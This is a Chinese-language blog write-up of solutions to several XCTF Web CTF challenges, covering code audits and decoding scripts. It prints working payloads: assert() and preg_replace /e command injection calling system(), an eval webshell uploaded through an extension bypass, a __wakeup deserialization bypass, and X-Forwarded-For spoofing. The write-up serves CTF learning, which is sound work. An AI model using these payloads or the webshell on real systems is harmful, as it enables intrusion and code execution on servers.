攻防世界-Web(進階區)

前言

又做了幾道攻防世界的Web題,總結一下。

Web1:Cat

題目沒提示。點開題目,以爲是命令執行。然而幾番嘗試後,發現並不是。。。
在這裏插入圖片描述
其它也沒什麼提示,沒思路了。偷瞄大佬博客
在這裏插入圖片描述
在這裏插入圖片描述
然後我開始復現,?url=%80產生報錯,找到絕對路徑。
在這裏插入圖片描述
從配置文件settings.py的報錯中查看database的相關信息?url=@/opt/api/api/settings.py

在這裏插入圖片描述
?url=@/opt/api/database.sqlite3,報錯信息中搜索ctf
在這裏插入圖片描述

Web2:ics-06

在這裏插入圖片描述
題目提示:設備管理基礎服務數據處,有入侵者的痕跡。這個地方應該就是題了。
在這裏插入圖片描述
看到?id=1第一個想法便是SQL注入,結果失敗了。偷瞄大佬博客,發現需要爆破。於是我爆破id值
在這裏插入圖片描述
所以id=2333時,返回長度不同,即可能返回了flag,查看得到flag
在這裏插入圖片描述

Web3:NewsCenter

emmm。題目報錯。。等題目正常了再更新總結。

Web4:mfw

題目沒提示,直接開始做題。先查看源碼
在這裏插入圖片描述
有個flag頁面,直接嘗試,發現返回空白頁面。然後再次發現有效信息,發現下面這個
在這裏插入圖片描述
Git?!難道存在git源碼泄露。果然是
在這裏插入圖片描述
使用GitHack.py工具下載源碼,並打開
在這裏插入圖片描述
在這裏插入圖片描述
assert()函數 檢查一個斷言是否爲 FALSE。

bool assert ( mixed $assertion [, string $description ] )

如果 assertion 是字符串,它將會被 assert() 當做 PHP 代碼來執行。
PHP 之 assert()函數
strpos() 函數 查找字符串在另一字符串中第一次出現的位置。
file_exists() 函數 檢查文件或目錄是否存在。
審計源碼:
1、git傳入page並賦值給$page$file等於templates目錄下的(page值).php文件內容
2、如果strpos('$file', '..') === false$flie會被 assert() 當做 PHP 代碼來執行。
3、用file_exists() 函數檢查$file文件是否存在。如果存在,返回文件內容。
然後就是拼接構造payload了(又偷瞄了大佬博客)

about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag

最終,得到flag
在這裏插入圖片描述

Web5:NaNNaNNaNNaN-Batman

題目,沒有提示,只有個文件,下載查看
在這裏插入圖片描述
應該是js代碼(涉及了我的盲區,所以偷瞄大佬博客)。
在這裏插入圖片描述

eval() 函數:可計算某個字符串,並執行其中的的 JavaScript 代碼。
alert() 函數:用於顯示帶有一條指定消息和一個 確定按鈕的警告框。

修改整理如下:

function $(){
var e=document.getElementById("c").value;
if(e.length==16)
	if(e.match(/^be0f23/)!=null)
		if(e.match(/233ac/)!=null)
			if(e.match(/e98aa$/)!=null)
				if(e.match(/c7be9/)!=null){
					var t=["fl","s_a","i","e}"];
					var n=["a","_h0l","n"];
					var r=["g{","e","_0"];
					var i=["it'","_","n"];
					var s=[t,n,r,i];
					for(var o=0;o<13;++o){
						document.write(s[o%4][0]);s[o%4].splice(0,1)
						}
					}
				}
				document.write('<input id="c"><button οnclick=$()>Ok</button>');
				delete 

js代碼一般可以在瀏覽器控制檯執行。加上<script></script>標籤也可以在html執行。控制檯執行和html執行都是一個輸入框。
在這裏插入圖片描述
emmm。。。又不知道了(再次偷瞄)。
方法一:審計代碼,滿足關鍵變量e的正則條件

e.length==16
e.match(/^be0f23/)!=null
e.match(/233ac/)!=null
e.match(/e98aa$/)!=null
e.match(/c7be9/)!=null

^表示開頭一定要匹配到be0f23,$表示結尾一定要匹配到e98aa,其它的只要匹配到就行,沒有位置要求

於是我們構造e的值:be0f233ac7be98aa

將構造的e輸入到最初html執行的輸入框中得到flag
方法二:直接將下面代碼複製到控制檯執行

var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
	document.write(s[o%4][0]);s[o%4].splice(0,1)
}

在這裏插入圖片描述

Web6:upload

emmm。題目報錯。。等題目正常了再更新總結。

Web7:PHP2

題目沒有提示
在這裏插入圖片描述
百度翻譯一下,“你能瀏覽這個網站嗎?”
不能。。御劍掃描無果,源碼也無發現。url後加index.php也不對。。。
看大佬wp,竟然是url後加index.phps。。。
在這裏插入圖片描述
urldecode()函數 解碼 URL 字符串函數。
此函數用於解碼給出的已編碼字符串中的任何 %##以及中文等被編碼的內容。 (加號(’+’)被解碼成一個空格字符)。
該函數經常被使用於php解碼URL中的中文字符串。
相關函數:urlencode()函數,編碼URL字符串函數。

審計代碼,get傳入的id經過urldecode()函數解碼,如果解碼結果爲admin,輸出“Access granted!”和Key值(即flag)。
嘗試對d進行url編碼,即傳入?id=a%64min,失敗了。。。
於是再次分析代碼,發現是經過兩次urlencode()函數解碼。難道再對%編碼?!%編碼結果%25,
傳入?id=a%2564min,得到flag
在這裏插入圖片描述

Web8:unserialize3

題目提示unserialize,即反序列化。總結過,所以直接做題
在這裏插入圖片描述
於是用serialize函數進行序列化(試過一句話,沒有成功)

<?php
class xctf{
	var $flag = '111';
}
$class1 = new xctf;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

在這裏插入圖片描述
測試,發現顯示”bad requests“。
查詢百度發現,當序列化字符串表示對象屬性個數的值大於真實個數的屬性時就會跳過__wakeup的執行。
payload

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag
在這裏插入圖片描述

Web9:ics-05

在這裏插入圖片描述
題目提示:其他破壞者會利用工控雲管理系統設備維護中心的後門入侵系統
所以工控雲管理系統設備維護中心存在後門。查看源碼
在這裏插入圖片描述
幾經嘗試,發現,存在文件包含漏洞,可以使用php://filter僞協議對index.php進行讀取
在這裏插入圖片描述
Base64解碼,找到關鍵代碼如下:

//方便的實現輸入輸出的功能,正在開發中的功能,只能內部人員測試

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>

代碼審計一下:
get傳入pat、rep、sub並分別賦值給變量$pattern$replacement$subject。如果設置了$pattern$replacement$subject,執行preg_replace($pattern, $replacement, $subject);進行正則表達式的搜索和替換。

preg_replace( pattern , replacement , subject ) 函數
當pattern指明/e標誌時 ,preg_replace()會將replacement部分的代碼當作PHP代碼執行 (簡單的說就是將replacement參數值放入eval()結構中)
參考博客:深入研究PHP中的preg_replace和代碼執行
構造payload尋找flag:

?pat=/test/e&rep=system('find / -iname flag')&sub=test

源碼提示127.0.0.1,所以X-Forwarded-For進行欺騙,Forward發包
在這裏插入圖片描述
ls查看flag目錄內容
在這裏插入圖片描述
再通過cat命令,查看flag.php內容。查看源碼,得到flag
在這裏插入圖片描述

Web10:bug

題目沒有提示。
打開題目,註冊用戶。進入到設置密碼頁面,修改密碼,抓包
在這裏插入圖片描述
嘗試更改用戶名爲admin。發包,提示IP禁止。
所以XFF(X-Forwarded-For)欺騙:X-Forwarded-For: 127.0.0.1
在這裏插入圖片描述
登錄成功。Where Is The Flag?查看源碼
在這裏插入圖片描述
filemanage,文件管理?!我學過文件上傳漏洞和文件包含漏洞。應該就是其中一種,嘗試之後發現do=upload時,是文件上傳頁面。應該就是文件上傳漏洞了
在這裏插入圖片描述
上傳測試發現,只能上傳圖片
1、寫一個php文件,後綴改爲.jpg,抓包改爲.php進行文件類型繞過,結果失敗。
2、.php改爲.php3.php5也是失敗。
3、又想到做i春秋Web題Upload時,用到

<script language="pHp">@eval($_POST['a'])</script>

於是嘗試再嘗試,發現後綴還要是.php3.php5才能繞過
在這裏插入圖片描述
發包得到flag

Web11:Triangle

還沒搞懂,過段時間補上總結

Web12:web2

在這裏插入圖片描述
題目提示:解密
在這裏插入圖片描述
相關函數
strrev():反轉字符串。
str_rot13():對字符串執行 ROT13 編碼。
base64_encode():對數據進行base64編碼
base64_decode():對數據進行base64解碼
審計php代碼,寫出PHP解密代碼

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($miwen){
	$_o=base64_decode(strrev(str_rot13($miwen)));//echo $_o;
	for($_0=0;$_0<strlen($_o);$_0++){
		$_c=substr($_o,$_0,1);
		$__=ord($_c)-1;
		$_c=chr($__);
		$_=$_.$_c;
	}
	return strrev($_);
}
echo decode($miwen);
?>

在這裏插入圖片描述
還可以寫成python腳本進行解密。我不太會寫,引用大佬腳本:

import base64
def python_decode(string):
    zimu = "abcdefghijklmnopqrstuvwxyz" 
    rot_13 ="" 
    for i in string: 
        if i.isdigit():
            rot_13 += i
        else:
            try:
                rot_13 += zimu[zimu.index(i)-13] 
            except:
                rot_13 += zimu[zimu.index(i.lower())-13].upper()
    fz = rot_13[::-1]
    base = base64.b64decode(fz)
    base = [chr(ord(i)-1) for i in base]
    fz = base[::-1]
    print "".join(fz)

python_decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")

在這裏插入圖片描述

寫在後面

就先總結那麼多吧,後邊的題貌似很難。繼續努力吧。。。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章